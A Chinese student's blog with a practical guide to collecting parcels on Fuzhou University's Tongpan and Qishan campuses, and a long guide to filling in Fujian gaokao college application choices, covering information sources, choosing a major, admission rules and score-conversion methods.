Watermelonabc的Blog

你如何在 FZU 取到快递

Thu, 11 Sep 2025 23:38:39 GMT

封面来自 José Luis Botello Sánchez，Unsplash License

主包从铜盘搬到旗山后，在快递这一块也是狠狠赤了依托石 😋

看着淘宝/PDD 上十几个虎视眈眈的包裹“四散”在校内外各处，再高傲的福 🧊 也不禁弯下了脊梁骨，这也是外迁之世的一个侧面……

Anyway，抽象话就不继续说了，下面就和主包一起看看怎么才能在 FZU 顺利取到快递吧 😊

Warning

主包只住过铜盘和旗山校区喵，其他校区我不知道喵。

Tip

主包去过的所有快递点的货架都难找，容易绕晕 😵 铜盘可以在菜鸟上用“实景找包裹”，会尽量标注各个包裹的货架位置。但是驿站有时会调整货架，而地图是不会更新的，所以大概还是得在驿站内绕来绕去。旗山我还没有尝试过，但是比铜盘更史，快递中心申通、极兔那边有些货架更是梦到哪里排哪里（旗山的快递站会尽量按序号排列快递，这一点比铜盘要好，找到货架就能快速地找到快递。但毕竟我们不是按序号先后来取快递的，而且工作人员有时也不会那么尽责，因此也存在序号混乱的情况。

铜盘校区#

此部分信息可能过期

铜盘的所有快递集中在操场旁边的菜鸟驿站中，你在校易班绘制的地图上就能看到。校园地图参见校园地图 - FZU Wiki

由于是菜鸟驿站，所以它的收件码体系和淘宝强关联。想查询取件码需要通过淘宝或菜鸟 APP 输入快递单号才可以。

我记得是有 7 台出库机的。大部分快递通过出口的 6 台出库机出库，需要淘宝身份码；还有一些 PDD 快递（如邮政）有单独的 1 台出库机，不需要身份码。

Warning

在主包刚来铜盘的一段时间内（2024 年），驿站还支持菜鸟身份码，但一次“升级”之后就不支持了，必须用淘宝身份码。其实不扫身份码直接拿也没事，没人追究的吧

快递集中一处的优势是方便取件。出库另说哈（一大群人挤在一个闷热狭小的空间中实在不是什么好的体验。

信件根据小红书的说法，在生活区 6 号楼下的物业中心或者门口文创店。

旗山校区#

最赤石的来哩 🤣

旗山校区虽然有一个名义上的“快递服务中心”，但实际上这个“中心”实在要打个问号。也许是“天下大势，分久必合，合久必分”，好几个快递企业选择将它们的服务点搬出快递中心，这就苦了我们这些网购大学生。

还真是“分久必合，合久必分”，有 ldx 说好几年前快递也是东一个西一个的，后面建了快递中心才集聚起来，现在又分出去了。

旗山有 4 个主要的快递集散点：快递中心、生活一区 9 号楼邮政、福大学生街驿站（兔喜生活，或者显示在周麻婆后）和筑安商业中心的多多驿站。由于快递点多且散，建议旗山的同学买一辆电动车貌似 25 级往后的同学原则上就没有电动车骑了……

德邦快递在福大没有固定的服务点，需要同学自己去生活区大门和快递员取件。一般来讲，快递员会在下午 4<30> ~ 5<00> 内到生活区门口，到了会电话通知。就我的体验来讲，如果你下午有第二节大课，那么你有概率是领不到了，因为快递员可能下班了。有时我下课骑车回来还能看到德邦快递员在大门口。

开学的一段时间，由于快递较多，德邦可能会在生活区门口设置临时集散点。

FZU 旗山校区快递点一图概览#

底图来自福州大学校园地图服务系统，使用GIMP于2026/08/14标注

快递中心#

位于生活三区 35 号楼后。从两个生活区大门左转沿路直走均可到达。平日营业时间为 9<00> ~ 19<00>。有时 19<00> 后快递站仍会开放，但此时快递公司人员基本下班，你只能使用自助机器进行取件。

快递中心驻扎顺丰、申通、极兔、圆通、京东、菜鸟（天猫超市）。不同快递企业（甚至同一企业的不同货架区域）有自己的出库机，一般来说你在哪个区域就用哪里的出库机。有些出库机会标明适用于哪些号码的货架。

现在快递中心的货架是比较混乱的，特别是申通的快递，有些比较大的货架号 (238+) 就会安排在靠近进货口的位置

所有出库机都需要扫描快递单条码。一些出库机需要同时使用身份码，请根据机身说明打开对应软件的身份码（淘宝/拼多多）。注意是根据你使用的出库机为依据选择身份码，大部分使用 PDD 身份码，申通的少量机器使用淘宝身份码。

如何获取身份码

统一方法：出库机上会贴二维码，用对应 APP 扫描即可。

淘宝：首页 > 搜索框下的“菜鸟驿站” > 底栏“身份码”（不要使用菜鸟 APP！）拼多多：（如果有待取包裹）“聊天” > “物流助手” > “查快递” > “取快递” > 顶部“查看身份码”

寒暑假期间误送到学校的滞留件，之后会转移到出入库口的一个棚子里（入口右转到尽头），会有物流通知的。

生活一区 9 号楼邮政#

位于一区京元食堂背后宿舍楼下沿街铺面。顾名思义，邮政的快递都送到这里来。信件自然也在此处寄收。平日营业时间为 9<00> ~ 19<00>

门口有 1 台出库机，需要拼多多身份码。

信件请询问工作人员。明信片可能放在出库机旁边，或者空货架上。

福大学生街驿站#

位于糖巢零食旁边，中通驻扎。平日营业时间为 10<00> ~ 17<00>

2~3 台出库机，需要拼多多身份码。

筑安商业中心的多多驿站#

韵达驻扎。从四区门口对面的入口直走即可看到驿站。但是四区后门仅限行人通过，骑车建议从旁边高架桥旁边的道路通过（上面所示蓝色路线，红木一条街）

入口处有一台出库机，不需要身份码。

福建高考志愿填报指南

Sat, 07 Jun 2025 00:53:20 GMT

执着的眼穿过当下，朦胧的未来被刹那照亮。

Info

cover 为 Bilibili@默_无风的 [DREAM of STELLAR] 高考应援壁纸。 banner 为 X@김로스 的 MonoChrome 设定图

本指南基于 Bilibili@取景框看世界的一个视频讲透 2024 年志愿填报的一切！基础上编著而成。

编者无法为你解决个性化志愿填报问题。我只是一个学生，没有能力背负他人的人生

以下信息仅供参考

CH0 编者的话#

本指南开始编撰于 2024 年 6 月，本意是作为我个人的志愿填报参考，但中间决定将其扩充为一份较为完整的指南，毕竟我拥有长达 2-3 周的时间用于考虑志愿，和一些地区相比还是有些余地的。本指南也是我的第一份 Markdown 文档。

我们可能在过去的 3 年中都没有严肃地思考自己的专业，却必须在这 3 周甚至 3 天里做出一个选择。截至目前，这可能是你为数不多甚至第一次做出如此有分量的选择，可我们仍会迷茫。

本指南就是为了向你呈现志愿填报的原则和具体操作而生的。我们力求传授如何独立填报志愿，因为只有你自己才能负起填报的责任。至少依据我的经验，家庭、学校方面给予的帮助几近于无，这些事情必须靠我自己判断。

这一份指南不是强制性的。你有权利和理由决定信或不信指南内提供的信息，因为我无法覆盖到所有水平的人，中间的一些信息也是“夹带私货”，不够客观。但请你务必明确一个标准并做出选择。往大了说，这就是 Critical Thinking 的其中一个内涵：为了达成目的而反思。

现在是 2026 年 6 月，今年的高考已经开始。再有几十小时，全国的高考考生就将结束考试，开始考虑志愿填报。本指南在这 2 年的时间里没有被良好维护，有些信息显得过时甚至错误。因此，我极度建议你参考本指南搜集的信源，然后查看是否有更新的信息。

如果你准备好了，那么就开始阅读吧。

CH1 工具与信息渠道#

Tip

我们可以利用的信息，其实远不止这些。查阅资料的过程，同时也在检验你的信息素养是否过关、信息检索与收集能力是否可堪使用。

“一个不掌握信息素养的可预见后果是，当老师告知你编程课需要使用 VSCode 时，你打开百度搜索‘VSCode 下载’点进了第一条‘结果’，在广告的诱导下下载了‘VSCode 下载助手’，然后打开手机扫码支付了 69 元‘会员费’”。——认识信息素养（注：VSCode 是微软开发的免费开源编辑器。该部分文章更新于几年前，而至今仍有人上当）

对于大多数考生，我认为不能将“信息素养低下”作为自己偷懒的借口。手机系统、社交和视频平台乃至 AI 工具都提供基本的搜索功能。当前学习知识的门槛是在降低的。说白了，我不认为一个活在 2026 年的、正常的高中生会没有任何的手机或电脑操作经验：TA 不会打开任意一个 TA 会使用的国内信息平台，点击搜索框并用任意输入方式输入“XX高考分数怎么查”、“高考志愿怎么报”！扪心自问一下，到底是“不能、不会”，还是“不愿”？！我们现在处于一个信息极大丰富，乃至过载的时代。我能理解接受过量信息时的迷茫，但绝对不是找不到任何信息！

不少人叠了无数层 debuff 然后叫苦，或者叠了无数层 buff 然后幻想自己/他人。但是这些 (de)buff 真的对他们是生效的吗？除了他们列出的 (de)buff 外是不是还忽略了什么前提？

如果需要询问问题，可以遵循《提问的智慧》给出的建议——提供清晰的信息才能获得有意义的回复。当然，对于没有展现应有风度的回答者，也请不要与对方纠缠。寻找有效的回答才是我们的首要目的。

1.1 Necessary 😸#

阳光高考平台
福建省教育考试院
目标高校招生网与公众号

公开信息源的优先级

省教育考试院（包括网页、公众号与纸质材料）= 阳光高考网 > 高校招生网、招生公众号和招生群（如果有心仪的院校可以优先考虑） > 第三方高考志愿信息平台

如何筛选信息源？

请确保该信息源的准确与全面，可参考怀疑性认知的六条原则与应用。不建议通过浏览短视频流来获取志愿信息，一方面鱼龙混杂，另一方面张冠李戴。（白了，不准刷 DY 和 KS 营销号 😠) 以下是一些例子：

选考历史的小 L 在 DY 上浏览到这样一条短视频：山东 19 万文科生 滑档，于是开始焦虑。实际情况是：山东夏季高考 72.2 万人，其中本科过线 31.8 万人，而据估算，物化双选考生约为 15.03 万，非物化双选考生约为 16.78 万。19 万文科生全滑档哪里来的？另外，有评论指出这条信息的实际意思是：山东 排名第 19 万的选考文科的考生 滑档。可参考【山东高考滑档问题】新高考的惨剧，文科生的末日——山东高考滑档事件详细解析！
选考物理的小 W 在 DY 上刷到“要查看档案状态”的提示，但在福建教育考试院却查不到。实际情况是：仅有少数省份支持查看档案状态，而福建不在此列，只能查看最终录取结果。
选考物理的小 S 普通批次滑档，准备报考征求批次。征集批次报考期间，其父亲在 DY 上刷到错误的报名时间并坚信不疑，当小 S 提出质疑时反称小 S 记错时间，导致小 S 错过征求批次报名。⚠️ 一切信息找官方源。这里小 S 的操作也令人疑惑：上报名系统看一看批次开放报名了没有不就行了？
考生小 F 在报考期间看到某公众号推送了所谓的“薪资排行”，查看后发现自己选择的某个院校薪资不敌另一个院校。实际情况是：仔细查看该榜单，会发现端倪：某省 985 院校的薪资竟显著低于福建省内双非院校！再搜索榜单发布机构，会发现该机构甚至没有明确的指代主体，且均为第三方商业机构（有一家还标榜“海外企业”，而在它的榜单中，清华的薪资甚至不敌武大）

1.2 Optional 😺#

大学/专业排行：软科、科教评价网（金平果评价网）、其他各种知名或不知名的排行与名单

Tip
需要注意的是，这些榜单均由第三方评选，里面存在操作空间，甚至一些榜单完全是由“局外人”评选。一句话：看看就行，不要太当真。
你敢相信我在某教育公众号上的某个“薪资排名”看到福耀科技大学力压省内其他高校，而当时福耀科大刚刚通过教育部批复建立？
后面我去搜了排名标注的发布机构，甚至找不到一个确定的主体——国内外都有顶着同一个名头的机构。
研究生排行

CUSR 4th（全国第四轮学科评估）。两种查询方式：1、全国第四轮学科评估结果（仅能按学科分类）；2、青塔开放数据（可按学科和具体院校分类）。教育部第五轮学科评估结果虽然官方表示结果不公开，但各校在活动中也透露了部分结果。
硕博点。两种查询方式：1、中国研究生招生信息网；2、大学的研究生院

研究生排行真的重要么？
如果是奔着教学质量去的，请参见四、你真正应该关注的变量，结果可能并不如你所愿。
对于就业目的，现在有些企业开始关注学科评估结果，要求院校在目标专业的评级应为 B 及以上。

专业分享：框框制作的专业科普视频、框框大学；大明白选专业；问问大象；张雪峰；知乎、贴吧等
院校分享：大学生活质量指北（托管于 GitHub，国内访问较为困难，建议科学上网）；贴吧；微信公众号等
各类志愿工具：多使用几个，尽量避免 All in。付费项目不推荐，除非你信得了对方或者想花钱买心安。

部分线上志愿工具介绍（2024 年）

阳光高考 (FREE)
笔袋（包括和 B 站共建的服务，部分 FREE）
夸克 (FREE)
百度 (FREE)
搜狗 (FREE)
掌上高考（包括和抖音共建的服务，部分 FREE）
一些主播开的直播答疑 (FREE)
……

CH2 专业了解#

2.0 有什么专业？#

2.1 警惕精英叙事#

有幸存者偏差，对方可能只是吃到了某些红利，而与个人实力关系不大。而分享者也无法跳出自身背景，其分享内容可能对你不适用，要看分享内容谈的是分享者个人（我当初怎么样），还是整个大环境（整个行业现在是什么样）。

Quote

Every inspirational speech by someone successful should have to start with a disclaimer about survivorship bias. 成功人士的每一次鼓舞人心的演讲都应该以关于幸存者偏见的免责声明开始。 ——1827: Survivorship Bias - explain xkcd

2.2 谨慎使用评估工具 📝#

你有没有觉得介绍这些评估工具的“但是”和某些投资建议的免责声明很像？

兴趣可以作为排除依据，但是否将其作为决定权需要慎重

例如，对数学极其极其厌恶的同学，可以排除掉所有和数理化有沾边的科目……？

确定吗？这样排除完后也不剩什么专业了 😿，而且鉴于目前政策对于通识教育和文理兼备的“热衷”，部分大学的文科专业也可能安排数理课程。
WHY 😕
- 绝大多数同学不知道自己喜欢什么。中学阶段表现出的兴趣，一方面可能不能支持大学相关科目的学习和之后的职业发展，另一方面可能是中学时期较好的成绩带来的幻象。
- 入学/入行后发现自己并不喜欢？要么转专业（需要在大一、大二时在保证当前专业成绩的前提下多探索，找到自己真正喜欢的专业）；要么干一行爱一行。尽量不要等到硕士乃至博士才发现自己不想走这一条路。【官方双语】追逐梦想，并不是人生的全部 | 哈维穆德学院 2024 年毕业致辞可以看看这个视频。
性格测试（如 MBTI、霍兰德、其他专项测试）建议做，但处理方法同上：不作为最终参考。
WHY 😕
- 性格测试依赖于当下的情绪状态。同时，如果不是通过直觉作答，那么你对测试的问题及选项的理解也有偏差。这些使得性格测试更多是测出当前一段时间内你认为自己是什么样的人。
- 贴标签的描述不一定最适配自己的真实性格。很多描述会符合，但也有不符合个人实际的描述，而这些错误的标签可能就会反过来影响你。
- 几年后性格偏向可能改变。人是变化的，你无法预估大学生活对自己人生的影响。
心理测试的正确食用方式
1. 作答时，建议你 不必过多思考题目的含义，在正确理解字面意义、没有过度引申和揣测意图的基础上，尽可能快速地选择最符合/最接近你的那一个选项就好，这是最接近直觉反应的。直觉反应往往更接近真实反应，因为 我们的大脑特别擅长发现不同事物之间的一致性/关联性，遇到关联性较强的刺激，反应更快、更强烈。
2. 做题过程中，如果感到疲惫，随时都可以停下来，深呼吸，休息半分钟，再继续完成剩下的题目。
3. 如果有一些题干，你看完第一反应是“这是什么？”那很有可能，你很少有相关的认识/想法。这可能会引导我们反复思考，但这样 未必比直觉反应更加接近真实反应，因为当我们开始思考后，会受到各方面的影响。当然，这也未必是件坏事。认为直觉反应可能和生活状态有些差别，这实际上是很好的觉察。事实上，我们对自己的认知并没有标准答案，每次觉察都有可能增进你对自己的了解。如果你作答时觉得很难受，大部分问题都不知道选什么的话，还是尝试多了解自己吧 🌸
4. 在没有经历重大生活变化，或者接受针对性干预/训练的情况下，心理特质通常会呈现一定的的 稳定性。如果多次测试后的结果很不稳定，可能需要更换测试问卷。
——微信公众号“暂停实验室”

2.3 用选科做初次排除（天然限制）#

福建：2027年起拟在福建省招生的普通高校本科专业选考科目要求

全国：普通高校本科招生专业选考科目要求指引（通用版）

关于2024高考“选科惨剧”的说明

2024 年有大量考生不知道“物化捆绑”的信息，激起一片哀嚎。然而，通用版指引早在 2021 年 7 月就已经下发给高校参考，部分省份早在高一上学期公布选科指导，而福建省的选科指导也在 2022 年 6 月（理论上还未选科）向外界公布，在这个背景下，仍有师生和社会群体忽略新政策，导致专业选择受限。

究其原因仍是相关部门对公众的宣传工作不够到位，使得师生家长在选科节点错误地参考往年高校招生计划和分别于 2018、2019 年公布的两份旧指引，最终导致志愿填报处于不利局面。

就我当时的体验而言，选科前的信息确实是比较混乱的，网络上既有“未过保质期”的旧的选科信息，也有刚出炉的外省的新信息。不过好在我们学校终究是在选科时将新信息传递到位了。

2.4 用学科成绩做二次排除（个人天赋）#

用于判断基础类学科。相关学科单科成绩必须达到 中等乃至比较优秀 的水平

数学不及格：不推荐几乎所有理工科（尤其数学大类、统计大类，否则会经历痛苦的学习过程 😵）；经管大类可报，但也慎重
物理不及格：不推荐几乎所有工科（计算机类除外）
化学、生物不及格：慎报医学类，除非记忆力非常好

2.5 用体检指标做三次排除（身体条件）👦👧#

基础要求：普通高等学校招生体检工作指导意见

另外还要看目标院校招生章程中，对体检指标的额外要求

2.6 用专业科普做四次排除（兴趣意愿）#

请参考工具与信息渠道中的专业分享部分

另外，对于有志于在基础科学中走科研道路的同学，若不是确实有为科学献身的崇高理想，请尽量不要对科研工作有滤镜。尤其对于家境一般的同学，请记住科研大概率只是一份工作。它不是纯粹的理想，因为经济基础决定上层建筑。

私货

2025 年武汉大学杨某媛事件即为前车之鉴。政治敏感的笔误可以是小问题，数学模型的漏洞也可以是小问题，而所谓的“治学严谨”只能是过耳边风。 “学术圈和足球圈类似，讲究的是程序正义，一个进球只要裁判判罚了，即便所有人都认为判罚不合理。但是只要没有爆出裁判收黑钱的确凿证据，那么比分就不可能被更改。” “科学本身就永远无法脱离政治，它永远无法与现实世界脱节，它总是由社会构建的。” 上面的还是道德抉择，捏捏鼻子尚可忍受；但个人生活呢？你可以参考 Don’t Become a Scientist! 或者 B 站上硕博乃至教授的分享。

2.7 深入了解具体专业#

学习内容
- 了解培养方案：有哪些课程——学校的官网、教务处，学长学姐
- 试看相关网课：课程都教啥——中国大学 MOOC、B 站（开倍速粗略浏览）
薪酬待遇
- 你参考的志愿填报服务
- 各大招聘网站（⚠️ 注意看中位数、众数）
市场需求
- 体制内（公务员；科教文卫等事业编）：国考（国家公务员局）、省考、事业编（目标省份的人力资源与社会保障厅局）。对 专业限制严格，注意查询；尽量选择目标省市内认可度较高的院校
- 体制外：各大招聘软件、具体公司招聘网站、行业交流论坛、就业报告（红黄绿牌专业）
  Note
  但是，你真的有能力去预测未来 4 年甚至 7、8 年的学科就业市场吗？你大可去看看张雪峰的“回旋镖”。18 年高喊“报土木”，20 年还在说“土木在房地产行业一样赚钱”，到了 24 年就敢反问“你当年报志愿的时候你想啥了”。 “……我的就业规划就是没有规划……在这种级别的时间跨度下，基于目前的现有信息进行什么职业规划真的是毫无意义。众所周知，一个人的命运呐，当然要靠自我奋斗，但也要考虑到历史的行程……数学这个专业的就业情况，在 6 年里是先由衰转盛，再由盛转衰。所以，我就根本不想花精力，做 5 年这种尺度上的预测。”——分析学爱好者
  很多工作只要求“相关专业”，因此可以考虑同大类专业下的小众专业，打“迂回战术”，以减小部分热门专业报考考生集中、难度较大的风险。岗位只要求到专业大类属于“中国语言文学”，那么除了“汉语言文学”外，还可以考虑“汉语言”或“秘书学”等；想从事计算机行业，除了计科和软工，还可以考虑计算机大类的其他二级专业，或者其他新工科专业。 ⚠️ 但根据就业市场反馈的信息，有些企业开始限定专业，要求科班生，这是一个需要注意的点。
大类招生/专业分流
- XXX 大类、XXX 类、XXX 实验班、XXX 试验班…
  Warning
  有的学校不写这些后缀，会直接写专业名，但却是大类招生。因此请关注招生计划专业名后的括号内说明内容，一般这里会明确有无“专业分流”。
- 大一、大二都有可能分流
- 注意分流政策：只看大学成绩 OR 高考成绩+大学成绩
转专业
- 不同大学 不可比：门槛、范围、名额、难易、风险
- 多方打听：官方的转专业方案；找该校刚刚转过专业的学长学姐或者转专业社群
  Warning
  注意高校的文字游戏，毕竟“符合要求”的可操作性太大了。如学校宣传“0 门槛转专业”，却要求“一方愿放，一方愿收”，转入学院不接收，你只能卡在原来的学院。

CH3 填报方法论#

3.1 认识自己的基础条件#

经济状况：能否支撑读研读博，甚至职业上升阶段的经济负担？
- 经济状况一般，慎选培养周期非常长的专业（如医学、法学中走律师路线的、人工智能或者其他想要好出路必读硕博的专业）
家庭资源：有没有父母或关系要好的亲戚做到行业中层以上的位置，且你从事该行业时 TA 可以帮助你的职业生涯？
- 如果满足上述条件，不排斥这一行建议入，可以少走多年弯路。如果只是某些人的忽悠，那么还是再想想。
  Example
  【以下摘选自某志愿咨询 QQ 群的聊天记录】 S：我是想着考研，然后想看看能不能考好点进大厂，因为工资高。我妈让我听她的，能把我塞国企里。 Q：「能把我塞国企里」轻描淡写七个字，已经让老铁破防了。
成绩分段：中流 211 以上可以选精英主义较强的专业（如金融），没到那种成绩慎选二八定律非常强的专业
考学意愿及能力：愿不愿意拼尽全力专升本、考研、读博？有些专业对不同学历层次的同学而言，其收入和工作环境差别较大，如果没有意愿卷学历，慎选这些专业

3.2 学校？专业？地区？#

学校
- 学校性质：985、211、双一流、普本、专科……
- 办学偏向：综合大学（如 PKU）、理工大学（如 THU）、专门大学
- 办学性质：公办、民办、中外合作办学
- 了解学校的渠道：自己的学姐学长、框框大学、大学生活质量指北、贴吧、QQ 群、微博……
专业

请参考 CH2 专业了解
地区
- 一线、新一线、省会和省内产业重点城市、其他城市
  说实话，除了“一线城市”和“省会和省内产业重点城市”比较明确之外，其他概念很多是商业机构给出的排名，虽然也有一定价值吧……
- 气候、饮食、文化、基建、视野、产业——关系到生活、实习、就业
- 省内 OR 省外——如果在本省就业，那么本地的院校就要多多考虑，特别是医学等专业，在哪个省读书大多就在哪里就业。

对于高分段同学，学校档次一般更重要；对于中低分段同学，专业更重要。

	A. 高分段（中流 211 以上）	B. 中低分段（高分段以下）
1. 人文社科经管艺术	学校 > 专业 > 地区	学校 ≈ 专业 > 地区
2. 理科工科	学校 ≈ 专业 > 地区	专业 > 学校 > 地区
3. 医科农科	地区 > 专业 > 学校	地区 > 专业 > 学校

注意容错空间

没思路，考虑综合大学。学科背景更厚与跨专业机会更丰富
决定深造（考研读博），建议基础性学科
- 此处不仅指数学、物理等，还指一级学科下面的基础学科。如计算机类下有十几个二级专业，其中，计科与软工为基础学科
- 基础性学科的可转换余地大，深造时可以聚焦细分领域，进行细分研究；另外，在有些院校基础性学科的选课空间也大（比如我们 FZU，有的专业的选课会直接固定给某个老师，导致那些专业的学生选无可选）
小口径专业？分情况考虑
- 是否已经决定 彻底入行，ALL IN 对应的细分行业？一旦有一丝迟疑，快跑，不然等到发现不适合时就已经晚了
本专科阶段，几乎不推荐所有的复合/新兴专业
- 复合专业：万金油专业（如自动化）。多学科知识杂糅，不容易学透，本科需要自己选择方向，自己深入钻研
- 新兴专业：如生物医学工程、人工智能等。还在摸索，培养方案不成熟。要学的话，注意学校有没有培养基础，一般看未设立该专业时学校有没有偏向该专业方向的细分专业（往年招生计划）

CH4 实战演练#

4.0 记准时间#

参考工具与信息渠道中 Necessary 的前两个网站（即阳光高考和福建省教育考试院），找一找都会有关于志愿填报和录取时间的安排。

最直接的就是上网查。国内的搜索引擎都会有高考专题。

4.1 录取原则#

福建为 院校+专业组 模式。志愿按 专业组 进行区分，即可以填同一个院校，然后填不同专业组，算不同志愿。调剂原则为 同专业组内调剂，而不是全校专业调剂

Warning

一定！一定要勾选服从调剂！！！

可在福建省教育考试院上下载志愿样表进行填报练习。

4.2 平行志愿和梯度志愿#

平行志愿：分数优先（分数清）、遵循志愿、一次投档
- 本科提前批常规志愿参考志愿、本科提前批征求志愿、本科批常规志愿和征求志愿 均实行院校专业组平行志愿投档模式
- 分数优先：优先满足分较高的考生，同分考生 看位次高低或主科成绩高低
- 遵循志愿：依照考生一、二、三…志愿 依次检索，因此要将自己的目标院校志愿的 优先度提高
- 一次投档：常规志愿只提一次档，被退档后不再进行后续常规志愿的投档，必须等待之后的征求志愿甚至滑档（⚠️ 因此看分数线时应该看具体 专业分数线 而不是专业组分数线，填报时尽量 服从调剂）
小练习

院校批次类别专业（组）最低分最低位次
福州大学本科批普通类 500（物+化） 600 12735
福州大学本科批普通类计算机科学与技术 617 7670
※ 以上为 2025 年数据，数据来源：福州大学招生考试中心；夸克高考
请问哪个是专业分数线？哪个是专业组分数线？
梯度志愿：志愿优先（专业清和志愿清）、遵循分数
- 本科提前批常规志愿 实行梯度志愿投档模式
- 第一志愿最重要！梯度志愿先看志愿，后看分数，把最想去、最能去的志愿放在第一位

院校	批次	类别	专业（组）	最低分	最低位次
福州大学	本科批	普通类	500（物+化）	600	12735
福州大学	本科批	普通类	计算机科学与技术	617	7670

4.3 提前批#

军事、公安、定向/公费师范、定向医学、航海、提前招飞、港校、部分学校的照顾专业、部分院校的特殊专业或试验班以及其他教育部批准的在提前批次招生的院校及专业属于提前批。

提前批志愿均为院校专业组志愿，设四个志愿（第一志愿+三个参考志愿），下均设 6 个专业志愿和是否服从专业调剂栏目。本科提前批 常规志愿 实行 梯度志愿 投档模式，先进行第一志愿投档；录取结束后，对 招生计划尚未完成 的院校再进行 参考志愿 投档。参考志愿实行院校专业组 平行志愿 投档模式。

Warning

填之前三思：是否一定要去？毕竟没录上还可以参加本科批的录取，如果被录上，后续志愿 全部失效！

4.4 高校专项计划#

Note

地方专项计划的报考流程有一定差异，具体见福建省教育考试院《关于做好2026年重点高校招生专项计划工作的通知》

该部分的“专项计划”仅指“高校农村专项计划”，此外还有“国家专项计划”和“地方农村专项计划”，后两者我没有了解，故此处未提及。

高校专项计划主要面向农村学生，为农村学生提供了一条上 好大学 的途径。至于专业，这得看高校的良心了。大部分高校不会将热门专业放到专项计划里，具体可见 2025年福建省普通高校招生计划和高校历年招生情况。注意每年的专业安排可能有变动，往年的情况仅供参考。

专项计划从开放报名（在 4 月中下旬）到截止只有不到 1 周的时间，想报名的同学需要注意。自 2026 年起，高校专项计划报名方式变成福建省教育考试院网站“数字服务大厅-高考考生报名系统-高校专项计划资格申报（或地方专项计划资格申报）”。

我是不是农村人？可以查一下统计用区划代码和城乡划分代码。如果你户口本上写的地址对应的城乡分类代码为 210、220，说明你是一个统计意义上的农村人，那么你就有了报名高校专项计划的条件之一了！当然，还有其他条件，请你查阅《关于做好2026年重点高校招生专项计划工作的通知》。

自 2026 年起，高校专项计划不再由高校组织报名、资格审核和校测，不单独发布招生简章，依据考生高考成绩和志愿进行录取。

据说高校专项能降好多分？

有的师生家长听说高校专项计划可以降分录取，我的回答是：确实有，但不要给予过高期待，更不要对标其他省的录取情况。

例如，这是厦门大学 2024 年的部分数据：

院校	录取类别	专业	最低分
厦门大学	高校专项计划（物理+化学）	电子信息类	648
厦门大学	普通类（物理+化学）	电子信息类	649

※ 以上为 2024 年数据，数据来源：厦门大学招生网

根据中国青年报的报道，高校专项计划纳入本科平行志愿投档，和 2024 年考前报院校、特殊招生相比，更简单并且选择面更广。

4.5 专业级差#

注意看院校的招生章程中的录取规则是否有专业级差。目前大部分的院校已经取消这一政策。

专业级差实际上是一种惩罚性规则，假如考生第一志愿未被提档，进行后续志愿录取时扣去级差分 后再进行投档，一般按 3、2、1、0 进行扣分。

Example

某考生的分数为 630 分，一志愿未被提档，则进行二志愿录取时扣去 3 分（实际投档分为 627 分），仍然未被提档，则再扣 2 分（实际投档分为 625 分），进行三志愿录取

4.6 位次法？线差法？比例法？#

考生人数、试卷、高校招生计划不同，所以纯分数没有同比的可比性，需要做一定的换算估计。以下方法中最科学的是比例法。

此方法必看一分一段表！在福建省教育考试院（叫作考生成绩分布）和各类志愿服务软件上可看。最好参考过去 3 年的录取情况。

同位分（位次法）：查看今年分数 - 今年位次，并比对往年位次 -（往年一分一段表）- 往年分数。更适合 985 层次的同学

Example
655 分对应全省 2025 名，看往年一分一段表，去年全省 2025 名是 650 分，同位分为 650 分。
批次线/省控线（线差法）：计算今年分数与参考批次线/省控线分数的差距，并计算往年同样差距的情况下相应的分数。更适合在批次线/省控线附近（±20\pm20±20 分）的同学

Example
550 分，比特批线高 538 分高 12 分，看往年特批线，去年特批线 518 分，则对应 530 分
比例法（位次转换）：今年位次今年批次线位次=往年位次往年批次线位次\frac{\text{今年位次}}{\text{今年批次线位次}}=\frac{\text{往年位次}}{\text{往年批次线位次}}今年批次线位次今年位次=往年批次线位次往年位次。适用范围非常广

Example
625 分，对应全省 7684 名，而离你最近的批次线（特控线）538 分，对应全省 48000 名，去年这个批次线（特控线）是 518 分，对应全省 45000 名，就可以求出往年对应的转换位次 xxx，即 768448000=x45000\frac{7684}{48000}=\frac{x}{45000}480007684=45000x 求得 x≈7204x\approx 7204x≈7204 ，对应去年一分一段表，得到去年的转换分数为 616~617 分，接着就可以看这个范围的院校和专业

证明比例法的可行性

去看高考生过来看！教你精准转换录取位次！，这位博主证明了比例法的可行性，并提出了更加精准的转换方法。

4.7 冲？稳？保？#

过去的经验法则是：三分之一冲，三分之一稳，三分之一保，分数考虑范围设定在 -20 至 +20 分内。但真的如此吗？🤔

对于冲：你需要考虑：好学校和热门专业更看重哪个？冲上的概率有多大？因为冲热门专业很可能冲不上去！

Note
尽量稳、保专业，而不是冲专业，《莆田市 2024 年高考志愿填报指导讲座》线上培训也强调这一点）

但如果完全不考虑专业，只想冲院校，可以一冲。冲院校需要看目标院校在近年是否有 较大的录取位次波动，如果波动呈下降趋势，可以尝试抄底。另外不要逞强报往年录取分数、位次始终高于你的成绩水平的院校。不要赌它今年断崖式下跌！
对于稳、保：比例可以大一些，比如稳 40%，保 60%。但是，务必确保每一个志愿的自我认可，不要为了保随便填一个自己可能不喜欢的院校/专业。填之前问自己：假如我被这个院校/专业录取了，我能不能接受？

4.8 进一步框定范围#

排除：专业选择（想不想读？能不能读？不反感是最基础的）、院校倾向（氛围如何？软硬件设施如何？生活条件如何？）、地区偏好（去不去某个城市？）
调研：学校情况、专业培养方案（培养偏向哪个方向？如电气工程类专业，有的学校偏向强电方向，对应电力和能源；有的学校偏向弱电方向，对应电子信息）

4.9 填报软件#

建议参考，可以简化决策过程；多参考几个，不同软件的算法可以相互对照。
但只能是参考，往年已经有完全按照填报软件填志愿，结果却不满意甚至滑档的例子，特别是今年报考格局发生极大变化，现在的算法还没法适应这种变化。依然建议以上面的填报流程为主形成自己的填报模式，然后对标软件生成的方案进行交叉验证和查漏补缺

CH5 避坑#

5.1 以片面认知决定专业和院校#

一，不做调查没有发言权；二，不做正确的调查同样没有发言权。——毛泽东

自己认知的局限：通过 18 岁以前的认知、基础教育阶段的学科知识和感兴趣的一部分课外知识关照专业、社会和世界。
亲戚、朋友、老师认知的局限：碎片化、网络化时代下很多人通过短评、短视频认识志愿报考、专业和院校，参考价值不高。

Example
选考物理的小 L 曾从两位亲戚那里得到两种离谱的认知：亲戚一在某次家庭聚餐上说出“680 分才能上厦门大学”的暴论，而亲戚二则鄙视小 L 考入 211 院校，认为 985 才能入眼。前一种是无知，后一种是傲慢。
“很多家庭忽略的一点是：孩子才是整个家庭中学历、智商最高的人。” ——一位志愿填报师的说法
只有位于行业中层以上、能够接触高等教育、社会前沿的发展趋势、一直深耕在这个行业 的人给出的建议才有一定的参考价值。

